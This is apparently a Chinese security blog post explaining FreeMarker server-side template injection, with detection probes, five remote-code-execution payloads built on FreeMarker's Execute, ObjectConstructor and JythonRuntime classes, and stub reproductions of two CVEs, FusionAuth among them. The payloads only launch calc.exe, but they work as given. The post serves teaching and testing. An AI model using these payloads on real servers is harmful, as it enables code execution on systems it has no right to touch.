freemarker模板注入
一、freemarker和thymeleaf区别
freemarker这种编程式模板引擎,比如我们用一个判断会这么写
<#if ${isBig}>Wow!</#if>
而在thymeleaf中首先要考虑的问题是我的DOM是什么,而不是将 if 的逻辑放在哪里
在thymeleaf中判断会写出下面代码:
<div th:switch="${user.role}"> <p th:case="'admin'">User is an administrator</p><p th:case="#{roles.manager}">User is a manager</p><p th:case="*">User is some other thing</p>
</div>
二、关于FreeMarker模板注入
参考链接:https://zhuanlan.zhihu.com/p/432361789
(一)简介
FreeMarker 是一款模板引擎,即一种基于模板和需要改变的数据, 并用来生成输出文本( HTML 网页,电子邮件,配置文件,源代码等)的通用工具,其模板语言为 FreeMarker Template Language (FTL)。它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
(二)常用的几种类型
文本:包括HTML标签与静态文本等静态内容,会原样输出;
插值:这部分的输出会被计算的数据来替换,使用${}这种语法;
标签:给FreeMarker的指示,可以简单与指令等同,不会打印在内容中,比如<#assign name=‘bob’>;
注释:由<#–和–>表示,不会被freemarker处理
(三)注入原理
服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
(四)漏洞发现
1、使用${77}或#{77},如果返回49,则基本可以确认存在模板注入漏洞。
2、使用特殊字符等方式去尝试报错:
${{<%[%’”}}%\
如果引发了报错,则可能存在问题,同时还可能爆出模板引擎是什么,有时甚至是哪个版本。
(五)参考payload
https://www.cnblogs.com/Eleven-Liu/p/12747908.html
1.<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}2.[#ftl][#assign value= "freemarker.template.utility.Execute"?new()]${ value("calc.exe")}3.${"freemarker.template.utility.Execute"?new()("calc.exe")}4.<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}5.<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")
三、FusionAuthRCE(CVE-2020-7799)复现
转载于:https://blog.csdn.net/xuandao_ahfengren/article/details/107742893
(一)简介
FusionAuth是一个免费的身份管理平台,安装简单,易于集成。FusionAuth提供登录、注册、MFA、SSO、电子邮件模板、本地化、密码控制、强哈希、网络挂钩、基于角色的访问控制等功能。
(二)影响版本
FusionAuth <= 1.11.0
(三)环境搭建
1、下载 FusionAuth 1.10.0
wget https://storage.googleapis.com/inversoft_products_j098230498/products/fusionauth/1.10.0/fusionauth-app-1.10.0.zip
四、Freemarker模板注入(CVE-2020-7477)复现
https://blog.csdn.net/qq_35208730/article/details/119392499
freemarker快速入门:
https://segmentfault.com/a/1190000011768799?utm_source=tag-newest
freemarker模板注入相关推荐
- Java安全-注入漏洞(SQL注入、命令注入、表达式注入、模板注入)
文章目录 注入 SQL注入 JDBC拼接不当造成SQL注入 框架使用不当造成SQL注入 不安全的反射 命令注入 代码注入 表达式注入 Spel表达式注入 OGNL表达式注入 模板注入 注入 SQL注入 ...
- 【代码审计】模板注入
0x00 介绍 这里主要学习下 FreeMarker 模板注入,FreeMarker 是一款模板引擎,FreeMarker 模板文件与 HTML 一样都是静态页面,当用户访问页面时,FreeMarke ...
- 详解模板注入漏洞(下)
作者 | 原作者gosecure,翻译整理shan66 来源 | http://gosecure.github.io/ 在上一篇文章中,我们为读者详细介绍了模版注入漏洞的概念,模版引擎的识别方法,以及 ...
- JFinal配合Shiro权限控制在FreeMarker模板引擎中控制到按钮粒度的使用
实现在FreeMarker模板中控制对应按钮的显示隐藏主要用到了Shiro中的hasRole, hasAnyRoles, hasPermission以及Authenticated等方法,我们可以实现T ...
- Java Email 发HTML邮件工具 采用 freemarker模板引擎渲染
Java Email 发HTML邮件工具 采用 freemarker模板引擎 1.常用方式对比 Java发送邮件有很多的实现方式 第一种:Java 原生发邮件mail.jar和activation.j ...
- Java之利用Freemarker模板引擎实现代码生成器,提高效率
开心一笑 [1.你以为我会眼睁睁的看着你去送死?我会闭着眼睛.2.给你讲个故事,从前有个笨蛋,他非常笨,别人问他问题他只会回答"没有",这个故事你听过吗?] 视频教程 大家好,我录 ...
- WEB 渗透之SSTI 模板注入
SSTI 模板注入 文章目录 SSTI 模板注入 前言 一.注入 二.什么是 SSTI 模板注入 三.产生原因 四.常见的模板引擎 五.相关属性 六.检测方法 七.攻击思路 1. 攻击方向 2. 漏洞 ...
- apt_Word模板注入攻击
Word模板注入攻击 win7:192.168.137.139:第一部分实验所用win7 虚拟机 win7:192.168.1.102:第二部分实验所用win7 虚拟机 kaili:192.168.1 ...
- Spring 4 使用Freemarker模板发送邮件添加附件
前言 Spring对Java的邮件发送提供了很好的支持,提供了超级简单的API,大大简化了Java邮件发送功能的开发. Spring对Email的支持是基于JavaMail API开发的,所以,我们在 ...
最新文章
- 2、jeecg 笔记之 t:dictSelect 或 t:dgCol 自定义字典
- .NET(C#)时间日期字符串(String)格式化转换成Datetime异常报错问题
- MySQL\MariaDB 多线程复制初探
- ORA-01034: ORACLE not available
- createjs入门
- hdu 1255 覆盖的面积 (Bruceforce)
- C++ 结构体字节对齐
- 传智播客杨中科老师的wpf基础视频教程、C#视频教程
- Linux驱动面试总结
- linux 搜索s开头的文件,Linux文件查找/内容搜索命令
- 感应加热电源-谐振移相-感性移相
- 使用img标签能使用background-size:conver一样的效果
- 智能路由器OpenWrt 开发环境 及 编译分析(一)
- Win10怎么使用Windows Defender扫描文件夹中的恶意软件?
- linux关于日志文件介绍,Linux下重要日志文件介绍
- python 报错traceback怎么解决_浅谈python出错时traceback的解读
- 计算机辅助教学时必不可少的,浅谈计算机辅助教学在历史教学中的作用及应用.doc...
- The authenticity of host ‘gree129 (192.168.**.129)‘ can‘t be established.
- Java 获取昨天的日期
- 性能优化指标的性能指标,及其如何量化